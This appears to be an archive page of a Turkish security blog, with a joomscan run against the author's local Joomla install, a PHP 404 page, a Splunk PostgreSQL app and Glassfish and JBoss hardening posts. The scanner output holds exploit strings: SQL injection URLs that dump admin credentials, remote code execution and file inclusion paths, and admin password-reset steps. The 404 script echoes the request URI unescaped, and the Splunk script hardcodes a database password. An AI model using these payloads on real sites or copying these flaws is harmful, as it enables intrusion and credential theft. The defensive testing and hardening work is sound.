‘Güvenlik’ kategorisi için Arşiv

joomscan – Joomla! Güvenlik Tarayıcısı

Pazartesi, 29 Mart 2010

Joomla! içerik yönetim sisteminin güvenliğini test etmek için geliştirilmiş “joomscan” isimli güvenlik tarayıcısından bahsetmek istiyorum. Joomscan, kullanılan Joomla! sürümünü tespit edip zafiyet veritabanında bulunan bu sürüme yönelik zafiyetleri test ediyor/listeliyor. Kullanımı basit, raporlaması güzel. Güncel versiyon 0.0.3-a ve veritabanında 466 zafiyet tanımlı.


# ./joomscan.pl

..|''|| '|| '||' '|' | .|'''.| '||''|.
.|' || '|. '|. .' ||| ||.. ' || ||
|| || || || | | || ''|||. ||...|'
'|. || ||| ||| .''''|. . '|| ||
''|...|' | | .|. .||. |'....|' .||.

=================================================================
OWASP Joomla! Vulnerability Scanner v0.0.3-a
(c) Aung Khant, aungkhant@yehg.net
YGN Ethical Hacker Group, Myanmar, http://yehg.net/lab
=================================================================

Vulnerability Entries: 466
Last update: August 18, 2009

Kendi bilgisayarımda kurduğum Joomla! 1.5.4 için çalıştırdığımda:

# ./joomscan.pl -ot -u http://127.0.0.1/joomla

..|''|| '|| '||' '|' | .|'''.| '||''|.
.|' || '|. '|. .' ||| ||.. ' || ||
|| || || || | | || ''|||. ||...|'
'|. || ||| ||| .''''|. . '|| ||
''|...|' | | .|. .||. |'....|' .||.

=================================================================
OWASP Joomla! Vulnerability Scanner v0.0.3-a
(c) Aung Khant, aungkhant@yehg.net
YGN Ethical Hacker Group, Myanmar, http://yehg.net/lab
=================================================================

Vulnerability Entries: 466
Last update: August 18, 2009

Use "update" option to update the database
Use "check" option to check the scanner update
Use "download" option to download the scanner latest version package

Target: http://127.0.0.1/joomla
Server: Apache
X-Powered-By: PHP

## Checking if the target has deployed an Anti-Scanner measure

## WARNING ##

[!] The target responds with 200 for every 404 request
[!] Activating anti-200 Bypass ... Please wait.

[!] Damn, unable to bypass! The target emits random strings.
[!] I need your help.

[!] Enter strings in common or valid regular expression
when you see after requesting the two urls:
http://127.0.0.1/joomla/a_sdf and http://127.0.0.1/joomla/hj_kl
e.g Page Not Found, \d{10,15}

>> Aradiginiz sayfa bulunamadi
[!] OK. Your strings work. Thanks!

## Detecting Joomla! based Firewall ...

[!] No known firewall detected!

## Fingerprinting in progress ...

~Generic version family ....... [1.5.x]

~1.5.x htaccess.txt revealed [1.5.4 - 1.5.14]
~1.5.x configuration.php-dist revealed [1.5.1 - 1.5.8]
~1.5.x en-GB.xml revealed [1.5.2 - 1.5.6]
~1.5.x en-GB.ini revealed [1.5.4 - 1.5.7]
~1.5.x admin en-GB.com_config.ini revealed [1.5.4 - 1.5.6]
~1.5.x admin en-GB.ini revealed 1.5.4
~1.5.x adminlists.html revealed [1.5.0(stable) - 1.5.6]

* The Exact version found is 1.5.4

## Fingerprinting done.

## 1 Components Found in front page ##

com_mailto

Vulnerabilities Discovered
==========================

# 1
Info -> Generic: htaccess.txt has not been renamed.
Versions Affected: Any
Check: /htaccess.txt
Exploit: Generic defenses implemented in .htaccess are not available, so exploiting is more likely to succeed.
Vulnerable? Yes

# 2
Info -> Generic: Unprotected Administrator directory
Versions Affected: Any
Check: /administrator/
Exploit: The default /administrator directory is detected. Attackers can bruteforce administrator accounts. Read: http://yehg.net/lab/pr0js/view.php/MULTIPLE%20TRICKY%20WAYS%20TO%20PROTECT.pdf
Vulnerable? Yes

# 3
Info -> Core: Multiple XSS/CSRF Vulnerability
Versions Affected: 1.5.9 <=
Check: /?1.5.9-x
Exploit: A series of XSS and CSRF faults exist in the administrator application. Affected administrator components include com_admin, com_media, com_search. Both com_admin and com_search contain XSS vulnerabilities, and com_media contains 2 CSRF vulnerabilities.
Vulnerable? Yes

# 4
Info -> Core: JSession SSL Session Disclosure Vulnerability
Versions effected: Joomla! 1.5.8 <=
Check: /?1.5.8-x
Exploit: When running a site under SSL (the entire site is forced to be under ssl), Joomla! does not set the SSL flag on the cookie. This can allow someone monitoring the network to find the cookie related to the session.
Vulnerable? Yes

# 5
Info -> Core: Frontend XSS Vulnerability
Versions effected: 1.5.10 <=
Check: /?1.5.10-x
Exploit: Some values were output from the database without being properly escaped. Most strings in question were sourced from the administrator panel. Malicious normal admin can leverage it to gain access to super admin.
Vulnerable? Yes

# 6
Info -> Core: Missing JEXEC Check - Path Disclosure Vulnerability
Versions effected: 1.5.11 <=
Check: /libraries/phpxmlrpc/xmlrpcs.php
Exploit: /libraries/phpxmlrpc/xmlrpcs.php
Vulnerable? No

# 7
Info -> Core: Missing JEXEC Check - Path Disclosure Vulnerability
Versions effected: 1.5.12 <=
Check: /libraries/joomla/utilities/compat/php50x.php
Exploit: /libraries/joomla/utilities/compat/php50x.php
Vulnerable? No

# 8
Info -> Core: Frontend XSS - HTTP_REFERER not properly filtered Vulnerability
Versions effected: 1.5.11 <=
Check: /?1.5.11-x-http_ref
Exploit: An attacker can inject JavaScript or DHTML code that will be executed in the context of targeted user browser, allowing the attacker to steal cookies. HTTP_REFERER variable is not properly parsed.
Vulnerable? Yes

# 9
Info -> Core: Frontend XSS - PHP_SELF not properly filtered Vulnerability
Versions effected: 1.5.11 <=
Check: /?1.5.11-x-php-s3lf
Exploit: An attacker can inject JavaScript code in a URL that will be executed in the context of targeted user browser.
Vulnerable? Yes

# 10
Info -> Core: Authentication Bypass Vulnerability
Versions effected: Joomla! 1.5.3 <=
Check: /administrator/
Exploit: Backend accepts any password for custom Super Administrator when LDAP enabled
Vulnerable? No

# 11
Info -> Core: Path Disclosure Vulnerability
Versions effected: Joomla! 1.5.3 <=
Check: /?1.5.3-path-disclose
Exploit: Crafted URL can disclose absolute path
Vulnerable? No

# 12
Info -> Core: User redirected Spamming Vulnerability
Versions effected: Joomla! 1.5.3 <=
Check: /?1.5.3-spam
Exploit: User redirect spam
Vulnerable? No

# 13
Info -> Core: joomla.php Remote File Inclusion Vulnerability
Versions effected: 1.0.0
Check: /includes/joomla.php
Exploit: /includes/joomla.php?includepath=
Vulnerable? No

# 14
Info -> Core: Admin Backend Cross Site Request Forgery Vulnerability
Versions effected: 1.0.13 <=
Check: /administrator/
Exploit: It requires an administrator to be logged in and to be tricked into a specially crafted webpage.
Vulnerable? Yes

# 15
Info -> Core: Path Disclosure Vulnerability
Versions effected: Joomla! 1.5.12 <=
Check: /libraries/joomla/utilities/compat/php50x.php
Exploit: /libraries/joomla/utilities/compat/php50x.php
Vulnerable? No

# 16
Info -> CorePlugin: Xstandard Editor X_CMS_LIBRARY_PATH Local Directory Traversal Vulnerability
Versions effected: Joomla! 1.5.8 <=
Check: /plugins/editors/xstandard/attachmentlibrary.php
Exploit: Submit new header X_CMS_LIBRARY_PATH with value ../ to /plugins/editors/xstandard/attachmentlibrary.php
Vulnerable? Yes

# 17
Info -> CoreTemplate: ja_purity XSS Vulnerability
Versions effected: 1.5.10 <=
Check: /templates/ja_purity/
Exploit: A XSS vulnerability exists in the JA_Purity template which ships with Joomla! 1.5.
Vulnerable? Yes

# 18
Info -> CoreLibrary: phpmailer Remote Code Execution Vulnerability
Versions effected: Joomla! 1.5.0 Beta/Stable
Check: /libraries/phpmailer/phpmailer.php
Exploit: N/A
Vulnerable? No

# 19
Info -> CoreComponent: Joomla Remote Admin Password Change Vulnerability
Versions Affected: 1.5.5 <=
Check: /components/com_user/controller.php
Exploit: 1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm 2. Write into field "token" char ' and Click OK. 3. Write new password for admin 4. Go to url : target.com/administrator/ 5. Login admin with new password
Vulnerable? Yes

# 20
Info -> CoreComponent: com_content SQL Injection Vulnerability
Version Affected: Joomla! 1.0.0 <=
Check: /components/com_content/
Exploit: /index.php?option=com_content&task=blogcategory&id=60&Itemid=99999+UNION+SELECT+1,concat(0x1e,username,0x3a,password,0x1e,0x3a,usertype,0x1e),3,4,5+FROM+jos_users+where+usertype=0x53757065722041646d696e6973747261746f72--
Vulnerable? No

# 21
Info -> CoreComponent: com_search Remote Code Execution Vulnerability
Version Affected: Joomla! 1.5.0 beta 2 <=
Check: /components/com_search/
Exploit: /index.php?option=com_search&Itemid=1&searchword=%22%3Becho%20md5(911)%3B
Vulnerable? No

# 22
Info -> CoreComponent: com_admin File Inclusion Vulnerability
Versions Affected: N/A
Check: /administrator/components/com_admin/admin.admin.html.php
Exploit: /administrator/components/com_admin/admin.admin.html.php?mosConfig_absolute_path=
Vulnerable? No

# 23
Info -> CoreComponent: MailTo SQL Injection Vulnerability
Versions effected: N/A
Check: /components/com_mailto/
Exploit: /index.php?option=com_mailto&tmpl=mailto&article=550513+and+1=2+union+select+concat(username,char(58),password)+from+jos_users+where+usertype=0x53757065722041646d696e6973747261746f72--&Itemid=1
Vulnerable? No

# 24
Info -> CoreComponent: com_content Blind SQL Injection Vulnerability
Versions effected: Joomla! 1.5.0 RC3
Check: /components/com_content/
Exploit: /index.php?option=com_content&view=%' +'a'='a&id=25&Itemid=28
Vulnerable? No

# 25
Info -> CoreComponent: com_content XSS Vulnerability
Version Affected: Joomla! 1.5.7 <=
Check: /components/com_content/
Exploit: The defaults on com_content article submission allow entry of dangerous HTML tags (script, etc). This only affects users with access level Author or higher, and only if you have not set filtering options in com_content configuration.
Vulnerable? Yes

# 26
Info -> CoreComponent: com_weblinks XSS Vulnerability
Version Affected: Joomla! 1.5.7 <=
Check: /components/com_weblinks/
Exploit: [Requires valid user account] com_weblinks allows raw HTML into the title and description tags for weblink submissions (from both the administrator and site submission forms).
Vulnerable? Yes

# 27
Info -> CoreComponent: com_mailto Email Spam Vulnerability
Version Affected: Joomla! 1.5.6 <=
Check: /components/com_mailto/
Exploit: The mailto component does not verify validity of the URL prior to sending.
Vulnerable? Yes
# 28
Info -> CoreComponent: com_content view=archive SQL Injection Vulnerability
Versions effected: Joomla! 1.5.0 Beta1/Beta2/RC1
Check: /components/com_content/
Exploit: Unfiltered POST vars - filter, month, year to /index.php?option=com_content&view=archive
Vulnerable? No

# 29
Info -> CoreComponent: com_content XSS Vulnerability
Version Affected: Joomla! 1.5.9 <=
Check: /components/com_content/
Exploit: A XSS vulnerability exists in the category view of com_content.
Vulnerable? Yes

# 30
Info -> CoreComponent: com_installer CSRF Vulnerability
Versions effected: Joomla! 1.5.0 Beta
Check: /administrator/components/com_installer/
Exploit: N/A
Vulnerable? No

# 31
Info -> CoreComponent: com_search Memory Comsumption DoS Vulnerability
Versions effected: Joomla! 1.5.0 Beta
Check: /components/com_search/
Exploit: N/A
Vulnerable? No

# 32
Info -> CoreComponent: com_poll (mosmsg) Memory Consumption DOS Vulnerability
Versions effected: 1.0.7 <=
Check: /components/com_poll/
Exploit: Send request /index.php?option=com_poll&task=results&id=14&mosmsg=DOS@HERE<<>AAA<><>
Vulnerable? Yes
# 33
Info -> CoreComponent: com_banners Blind SQL Injection Vulnerability
Versions effected: N/A
Check: /components/com_banners/
Exploit: /index.php?option=com_banners&task=archivesection&id=0'+and+'1'='1::/index.php?option=com_banners&task=archivesection&id=0'+and+'1'='2
Vulnerable? No

# 34
Info -> CoreComponent: com_mailto timeout Vulnerability
Versions effected: 1.5.13 <=
Check: /components/com_mailto/
Exploit: [Requires a valid user account] In com_mailto, it was possible to bypass timeout protection against sending automated emails.
Vulnerable? Yes

# 35
Info -> Component: Dada Mail Manager Component Remote File Inclusion Vulnerability
Version Affected: 2.6 <=
Check: /administrator/components/
Exploit: /administrator/components/com_dadamail/config.dadamail.php?GLOBALS[mosConfig_absolute_path]=
Vulnerable? No

There are 17 vulnerable points in 35 found entries!

~Done saving result as report/127.0.0.1_joomla-joexploit.htm

~[*] Time Taken: 48 sec
~[*] Send bugs, suggestions, contributions to joomscan@yehg.net

Kullanışlı bir araç...

CISSP hazırlık Kitapları

Salı, 05 Ocak 2010

CISSP Certified Information Systems Security Professional Study Guide – Michael Stewart, Ed Tittel, Mike Chapple
All in One CISSP Exam Guide – Shon Harris

2009′ un elimden düşmeyen, tuğla kalınlığındaki kitapları :) Çok zevkle okuduğumu iddia etmiyorum, ancak sanırım bu kitaplar olmasaydı, sınavda başarılı olma şansım oldukça düşük olurdu. CISSP sertifika sınavına hazırlanacaklara tavsiye ederim.

Apache web sunucusunda PHP kullanarak kişiselleştirilmiş hata sayfası oluşturma

Cumartesi, 29 Ağustos 2009

Başlık uzun, yöntem kısa…

Hepimiz biliyoruz, web sunucudan olmayan bir sayfa istendiğinde “genelde” “HTTP 404″ kodlu sayfa bulunamadı hatası alıyoruz. Biz kendi web sunucumuzda ufak bir PHP betiği yardımıyla, olmayan sayfa istendiğinde web sunucumuzun istemcilere “HTTP 200″ kodu kişiselleştirilmiş hata sayfaları (Custom error page) göndermesini sağlayabiliriz.

Bunun için önce Apache web sunucumuzun httpd.conf yapılandırma dosyasına aşağıdaki gibi bir satır ekleyerek, “HTTP 404″ kodlu hata durumlarında bizim php betiğimizi çağırmasını sağlıyoruz:

# Ozellestirilmis Hata Sayfasi
ErrorDocument 404 /error-404.php

Şimdi de basit PHP betiğimizi DocumentRoot altında error-404.php olarak kaydedelim:

<?php
header("HTTP/1.1 200 OK");
echo $_SERVER['REQUEST_URI']. " Aradiginiz sayfa bulunamadi.";
?>

Bu küçük PHP betiği sayesinde web sunucu üzerinde olmayan bir URI istendiğinde de HTTP 200 kodlu bir sayfa döndürmüş olursunuz. Bu sayede nikto vb. tarama araçlarını yanıltmak da mümkün olacaktır.

Yapılan bir HTTP isteği ve yanıtı şöyle olacaktır:

$ telnet web_sunucu 80
Trying web_sunucu…
Connected to web_sunucu.
Escape character is ‘^]’.
GET /olmayan_sayfa HTTP/1.1
HOST: a

HTTP/1.1 200 OK
Date: Sat, 29 Aug 2009 14:12:45 GMT
Server: Apache
X-Powered-By: PHP
Vary: Accept-Encoding
Content-Length: 43
Content-Type: text/html

/olmayan_sayfa Aradiginiz sayfa bulunamadi.

SplunkForPostgreSQL – Bir Splunk uygulaması geliştirmek

Perşembe, 09 Nisan 2009

Yıllarca sistem yöneticiliği yaparken en büyük dertlerimden biri,  problem olduğunda GB’larca ham kayıt dosyası içinden problemin izini sürmeye çalışmaktı. Tabii sunum hazırlamak gerektiğinde geçmişe yönelik istatistikler çıkarmak, o veriyi işleyip grafiiğe dönüştürmek gibi zaman öldüren işler de cabası. İşte bu yüzden Splunk‘ı ilk kullanmaya başladığımda başardıkları karşısında çok etkilenmiştim; sağladığı indeksleme altyapısı ile bilgiyi biriktirip, çok hızlı arama ve raporlama imkanı sağlayan Splunk‘ın en beğendiğim özelliklerinden biri de kendi uygulamanızı geliştirmenize ve bunu SplunkBase üzerinden diğer kullanıcılar ile paylaşmanıza imkan sağlaması.

PostgreSQL ile ilgili birşeyler araştırırken, SplunkBase dünyasında bu veritabanı yönetim sistemi ile ilgili birşey yapılmamış olduğunu gördüm. Ben de ufak ufak birşeyler yapayım, ileride büyür birilerinin derdine derman olur belki diye düşünerek SplunkforPostgreSQL‘ e başladım. Bu uygulama ile amacım, PostgreSQL sunucularda aktif bağlantı sayısı gibi bazı performans değerlerini gözlemek.
Bu çalışmalar sırasında yaptıklarımı adım adım anlatmaya çalışacağım.

* Ara not: Splunk bir python geliştirme ortamı sunduğu için iş yapan kodları -hakim olmadığım bir dil olan- python ile yazmaya çalıştım, siz istediğiniz dil/kabuk ile işinizi görebilirsiniz. Şimdiden ne kusur ettiysem affola :)

Splunk uygulamaları öntanımlı olarak /opt/splunk/etc/apps dizini altında bulunuyor:

# pwd
/opt/splunk/etc/apps/SplunkForPostgreSQL
# ls -al
total 20
drwxr-xr-x 4 splunk splunk 4096 2009-03-26 22:28 .
drwxr-xr-x 15 splunk splunk 4096 2009-04-09 22:19 ..
drwxr-xr-x 2 splunk splunk 4096 2009-04-09 22:23 bin
drwxr-xr-x 2 splunk splunk 4096 2009-04-09 22:23 default
-r-xr-xr-x 1 splunk splunk 22 2009-04-09 22:23 README.txt

/opt/splunk/etc/apps/SplunkForPostgreSQL/bin dizini altında çalıştırılabilir dosyalarımız (betikler vb.), /opt/splunk/etc/apps/SplunkForPostgreSQL/default dizininde ise konfigürasyon dosyaları bulunmakta.

Önce /opt/splunk/etc/apps/SplunkForPostgreSQL/bin dizinindeki, veritabanı üzerindeki aktif bağlantı sayısını kontrol eden uygulamamıza bir bakalım:

# pwd
/opt/splunk/etc/apps/SplunkForPostgreSQL/bin
# cat active_connections.py 

import pgsql, sys

try:
        connection = pgsql.connect(host="localhost", database="template1", user=
"postgres", password="postgres_pass")
except:
        print "Failed to connect to the database"
        sys.exit()

mark = connection.cursor()
statement = 'SELECT COUNT(*) FROM pg_stat_activity'
mark.execute(statement)
connection.commit()
rows = mark.fetchall()
for row in rows:
        active_conn = row[0]

print "PostgreSQL active connections: pg_active_conn =", active_conn

Bu betik Splunk tarafından çalıştırıldığında PostgreSQL veritabanı sunucumuza bağlanıp, aktif bağlantı sayısını alacaktır. Splunk’da ilgili kayıtları sourcetype=”pg_active_conn” sorgusu ile aradığınızda aşağıdaki gibi bir görüntü ile karşılaşıyoruz :

Şimdi amacımız bu sorguyu belli aralıklarla çalıştırıp, grafiğe dokmek. Bunun için /opt/splunk/etc/apps/SplunkForPostgreSQL/default dizini altındaki konfigürsyon dosyalarını kullanacağız.

# pwd
/opt/splunk/etc/apps/SplunkForPostgreSQL/default
# ls -al
total 32
drwxr-xr-x 2 splunk splunk 4096 2009-04-09 22:23 .
drwxr-xr-x 4 splunk splunk 4096 2009-03-26 22:28 ..
-r-xr-xr-x 1 splunk splunk 351 2009-04-09 22:23 bundles.conf
-r–r–r– 1 splunk splunk 154 2009-04-09 22:23 eventtypes.conf
-r-xr-xr-x 1 splunk splunk 235 2009-04-09 22:23 inputs.conf
-r–r–r– 1 splunk splunk 141 2009-04-09 22:23 props.conf
-r-xr-xr-x 1 splunk splunk 727 2009-04-09 22:23 savedsearches.conf
-r–r–r– 1 splunk splunk 3994 2009-04-09 22:23 transforms.conf

Şimdi tek tek dosyalara bir göz atalım:

bundles.conf
Uygulmanın amacı ve yazarı hakkında kısa bir bilgiyi bu dosya içerisnde veriyoruz. Ayrıca uygulamanın geriye doğru uyumluluk ile ilgili bir sorunu var ise çalışabildiği en düşük Splunk sürümünü de yine bu dosyada belirtiyoruz.

# Copyright (C) 2005-2008 Splunk Inc.  All Rights Reserved.  Version 3.3
[SplunkForPostgresql]
author = Ahmet Ozturk
version = 0.1
minsplunkversion = 3.3
contactemail = ahmet.ozturk@pro-g.com.tr
description = This application is a collection of saved searches, eventtypes,
field extractions, dashboards, and scripted inputs that support the PostgreSQL DBMS

eventtypes.conf:
Şu anda bizim uygulamamız için bir eventtype tanımı yapmadık. Gerektiğinde bu dosya içinde tanımlayacağız.

inputs.conf
Periyodik olarak çalıştırıp veritabanındaki aktif bağlantı sayısını alacak betiğimizi burada tanımlıyoruz. “interval” değişkeni saniye biriminde tanımlanıyor. Aramalarda kullanacağımız “source” ve “sourcetype” türlerini burada tanımlıyoruz. Son satırdaki “disabled” parametresne dikkat. Bu değeri “false” yaparak, uygulamanın çalışmasını sağlıyoruz:

# Copyright (C) 2005-2008 Splunk Inc.  All Rights Reserved.  Version 3.0
[script://$SPLUNK_HOME/etc/apps/SplunkForPostgreSQL/bin/active_connections.py]
interval = 60
sourcetype = pg_active_conn
source = pg_active_conn
disabled = false

props.conf
Tanımladığımız pg_active_conn sourcetype’ın özelliklerini bu dosyada belirtiyoruz:

[pg_active_conn]
SHOULD_LINEMERGE=false
LINE_BREAKER=^()$
TRUNCATE=1000000
DATETIME_CONFIG = CURRENT
REPORTS-pg_active_conn = pg_active_conn

savedsearches.conf
Yaptığımız aramaları kaydedip, her sferinde aynı işi yapmaktan bizi kurtaran bir özellik savedsearch özelliği. İlk satırda közeli parantezler içinde verdiğimiz isim Splunk’ın giriş sayfasında “Saved Seraches” kısımıda göreceğimiz isim. “search” parametresi ile son 1 saat içinde pg_active_conn sourcetype’ındaki olayları arayıp, sunucu bazında grafik çiziyoruz. “viewstate.chart.plotMode” parametresi ile de grafiğimizin özelliğniverebiliyoruz. Duruma göre pasta, çubuk gibi grafikler de çizmek mümkün:

[SplunkForPostgreSQL - pg_active_connections by host]
action_rss = 0
search = sourcetype="pg_active_conn" pg_active_conn starthoursago=1 | timechart avg(pg_active_conn) by host
schedule = */60 * * * *
sendresults = 0
userid = 1
viewstate.chart.formatting.dateTimeFormat = %m/%d/%Y %H:%M:%S
viewstate.chart.formatting.height = 300
viewstate.chart.formatting.padding.bottom = 10
viewstate.chart.formatting.padding.left = 0
viewstate.chart.formatting.padding.right = 0
viewstate.chart.formatting.padding.top = 20
viewstate.chart.formatting.textColor = 3355443
viewstate.chart.formatting.width = 788
viewstate.chart.plotMode = line
viewstate.prefs.selectedKeys = source host sourcetype action linecount
viewstate.resultView = reportView

transforms.conf
Kayıt satırlarının nasıl yorumlanacağına ilişkin tanımların yapıldığı bir dosya. Şimdilik bu dosya ile ilgili birşey yapmıyoruz.

Bu kadar lafın üstüne biraz da ekran görüntüsü inceleyelim:
Splunk “main” menü kısmında tanımladığımız sourcetype (pg_active_conn) ve savedserach ( “PostgreSQLForSplunk – pg_active_connections by host) değerlerini görebiliriz:



Saved Seraches kısmından, tanımladığımız aramaya tıkladığımızda yukarıda açıkladığım şekilde grafiğimizi görebiliriz:

Uygulamayı bu ilkel hali ile denemek, yada göz atmak isterseniz, buradan indirebilirsiniz.

Başta da belirttiğim gibi bu bir başlangıç. Şimdilik listemde aşağıdaki konular var:
- Daha fazla performans değerinin gözlenmesi
- SMS/RSS gibi haber verme mekanizmalarının kullanılması

Buraya kadar katlanıp okuduğunuz için teşekkür ederim.

Küçük bir SQL numarası

Perşembe, 29 Ocak 2009

Geçenlerde bir lazım olduğunda MSSQL sunucuda bir tablodan çekilen verinin söz gelimi 4. satırını nasıl görüntülerim diye araştırmıştım. Yarın öbürgün belki sizin de işinize yarar:

I – MSSQL Server 2005′de gelen row_number() fonksiyonu bu iş için biçilmiş kaftan:

SELECT NAME FROM
(SELECT ROW_NUMBER()
OVER (ORDER BY NAME) AS Row,Name
FROM SYS.OBJECTS) AS mesut
WHERE Row = 4

II – Eğer daha eski bir MSSQL sunucu versiyonu kullanıyorsanız “NOT IN” işe yarıyor:

SELECT TOP 1 NAME FROM SYS.OBJECTS WHERE NAME NOT IN(SELECT TOP 4 NAME FROM SYS.OBJECTS ORDER BY NAME) ORDER BY NAME;

* İlk sorgudaki mesut kimdir diye merak edenlere: Akşamın bu saatinde beni dertten kurtarıp, SQL sunucusunda bu cümlelerin hatasızlığını/çalışırlığını yeniden test eden Mesut Timur‘a teşekkür ederim :)

Glassfish – Sun Java System Application Server için basit konfigürasyon önerileri

Pazar, 18 Ocak 2009

Son zamanlarda çok karşılaşır oldum Glassfish uygulama sunucusu (eski adı ile Sun Java System Application Server) ile. Bu sunucuların genelinde gördüğüm basit 1-2 güvenlik problemini ve çözüm için yapılandırma (konfigürasyon) önerilerini yazayım istedim. problemler basit, çözümleri basit ama bu bilgilere SUN belgeleri arasından ulaşmak çok zor :)

I. Web sunucu dizin listelenmesi:

Web sunucununun gelen isteklerde web dizini altındaki dosyaları/dizinleri listelemesi istenilen bir durum değildir. Glassfish’de bu durumu gidermek için -her bir “domain” tanımı için- default-web.xml dosyası içinde aşağıdaki yapılandırmayı yapmak gerekiyor.

<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>

II. HTTP başlık bilgilerinde sunucu sürüm bilgisinin yer alması.
Web sunucu’nun HTTP isteklerine verdiği yanıtlarda “Server:” başlığı aracılığı ile uygulama sunucusunun sürüm bilgisini veriyor olması, bilgi toplamak ve olası saldırılara yön vermek için kullanılabileceğinden, basit bir ayar ile bu bilgi sızmasını ortadan kaldırmak mümkün. Bunun için resitry.properties dosyasında aşağıdaki gibi bir düzenlemem yapmak yeterli:


product.name=Web_Sunucu
product.version=X.Y.Z

III. TRACE Metodunun açık olması:
Web sunucularda XST (Cross Site Tracing) saldırılarından korunmak için TRACE seçeneğini kapatmak gerekiyor. domain.xml dosyasında http-service başlığı altında aşağıdaki yapılandırmayı yaparak bu basit sorunu da halletmek mümkün:

<property name="enableTrace" value="false"/>

WPA-TKIP kırıldı.

Cuma, 07 Kasım 2008

IT World haberi WPA kırıldı diye verse de, WPA tarafından kullanılan TKIP (Temporal Key Integrity Protocol) kırıldı. Martin Beck ve Erik Tews, yaptıkları çalışmada kablosuz erişim noktasını (Access point) kandırıp kendilerine veri göndermesini sağladıklarını ve kullandıkları yeni matematik model ile (yazının orijinalinde “mathematical breakthrough” diye ifade edilmiş) TKIP anahtarını 12-15 dakika içerisinde kırabildiklerini belirtiyorlar.

Şimdilik çok detay yok; önümüzdeki hafta Japonya’da PacSec konferansında tartışılacak konu, ama önümüzdeki aylarda kablosuz ağların güvenliği konusunda çalışanlar bayağı yoğun olacaklar gibi görünüyor.

CHANGELOG‘a bakılırsa çalışma aircrack-ng‘nin içine aktarılmaya başlanmış bile..

JBoss Management Console Erişimi Nasıl Kısıtlanır?

Salı, 26 Ağustos 2008

Java Uygulama sunucu olarak JBoss kullanan birçok kişi/kurum JBoss ile birlikte gelen ve ön tanımlı olarak çalışan yönetim konsolu uygulamasının ne kadar çok bilgi sızdırabileceğinin farkında değil. Kendi bilgisayarım üzerinden örneklerle gidip erişim kısıtlama yöntemlerini anlatmaya çalışacağım:

Ben de birçok işi başından aşkın veya tembel sistem yöneticisi gibi http://www.jboss.org sitesinden sözkonusu uygulama sunucusunu (sürüm 4.2.2.GA) indirdim ve hemen çalıştırdım.

# unzip jboss-4.2.2.GA.zip

# cd jboss-4.2.2.GA/bin

# ./run.sh &

Kabul ediyorum ben yukarıda bahsettiğim tembel sistem yöneticilerinden daha tembelim. Onlar en azından sistem her kapanıp açıldığında uygulama sunucusu başlasın diye açılış betiklerine birkaç satır ekliyorlardır :)

Uzun lafın kısası şu anda 8080 numaraları portta çalışan bir JBoss uygulama sunucum var. Artık diğer uygulamaların yanında, bir de öntanımlı olarak gelen web-console ve jmx-console uygulamaları da bu sunucu üzerinden erişilebilir durumdalar ve sistemle ilgili pek çok kritik bilgiyi isteyene sunuyorlar.

Web tarayıcımı http://localhost:8080/web-console/ adresine yönlendiriyorum:

Yukarıda görüldüğü gibi sistemin iç ağda kullandığı IP adresi, İşletim sistemi, Jboss’un kurulduğu dosya yolu vb. bilgilere ulaşılabiliyor.

Bunun yanında ikinci ekran görüntüsünde farketmiş olabileceğiniz gibi, uygulama sunucusuna o anda gelmiş olan GET veya POST istekleri de görüntülenebiliyor. Yani, kullanıcı adı ve parola bilgisi alan bir uygulamanız varsa buradan bu bilgilerinde görüntülendiğini bilmelisiniz.

Bu durumda sisteminizle ilgili bilgileri bütün dünyaya açmak yerine basit 1-2 ayarlama ile sadece sizin erişebileleceğiniz hale getirebilirsiniz. Bunun için aşağıdaki adımları izlemeniz yeterli:

I. JBoss kurulum dizini altındaki web-console.war/WEB-INF/web.xml dosyasına aşağıdaki satırları ekleyin:

<security-constraint>
<web-resource-collection>
<web-resource-name>HtmlAdaptor</web-resource-name>
<description>An example security config that only allows users with the
role JBossAdmin to access the HTML Web console web application
</description>
<url-pattern>/*</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>JBossAdmin</role-name>
</auth-constraint>
</security-constraint>

II. JBoss kurulum dizini altındaki web-console.war/WEB-INF/classes/web-console-users.properties dosyasındaki admin kullanıcısının parolasını değiştirin:


admin=yeni_admin_parolası

III. JBoss kurulum dizini altındaki web-console.war/WEB-INF/jboss-web.xml dosyasına aşağıdaki satırı ekleyin:

<security-domain>java:/jaas/web-console</security-domain>

IV. JBoss’u yeniden başlatın.

JBoss artık web-console uygulamasına bağlanırken kullanıcı adı ve parola girmenizi isteyecektir:

————————————————————————————————–

Şimdi de JMX Management Console uygulamasına bakalım:
Web tarayıcımı http://localhost:8080/jmx-console/ adresine yönlendirdiğimde yine sunucum ile ilgili kritik bilgilerin görüntülendiği ve daha kötüsü değiştirilebildiği bir arayüzle karşılaşıyorum:


web-console uygulaması için yaptıklarımızın benzerini yaparak jmx-console uygulamasına erişim de kısıtlayabiliriz:

I. JBoss kurulum dizini altındaki deploy/WEB-INF/web.xml dosyasına aşağıdaki satırları ekleyin:

<security-constraint>
<web-resource-collection>
<web-resource-name>HtmlAdaptor</web-resource-name>
<description>An example security config that only allows users with the
role JBossAdmin to access the HTML JMX console web application
</description>
<url-pattern>/*</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>JBossAdmin</role-name>
</auth-constraint>
</security-constraint>

II. JBoss kurulum dizini altındaki conf/props/jmx-console-users.properties dosyasındaki admin kullanıcısının parolasını değiştirin:


admin=yeni_admin_parolası

III. JBoss kurulum dizini altındaki deploy/jmx-console.war/WEB-INF/jboss-web.xml dosyasına aşağıdaki satırı ekleyin:


<security-domain>java:/jaas/jmx-console</security-domain>

IV. JBoss’u yeniden başlatın.

Artık jmx-console uygulaması da kullanıcı adı / parola soracaktır.

Tarihin tozlu sayfaları (Bir USENIX makalesi)

Cuma, 08 Ağustos 2008

Haftabaşında ofiste Kevin Mitnick’ten girip, sosyal mühendislikten çıkan muhabbetler yapılırken, benim internetle tanıştığım zamanlar (~1995-96) geldi aklıma. Sonrasında da o dönemde güvenlikle ilgili konular nelerdi diye düşünürken, vakti zamanında okuduğum bir makaleyi hatırladım. Hemen kitaplıktan arayıp buldum. (Hiç birşeyi atmaya kıyamamamın işe yaradığı ender durumlardan biri)

“The greatest cracker-case in Denmark: The detecting, tracing and arresting of two international crackers” başlıklı makale 14-16 Eylül 1992 tarihlerinde Maryland,Baltimore’da gerçekleşen USENIX (Use UNIX) Unıx Security III sempozyumunda Jorgen Bo Madsen tarafından sunulmuş.

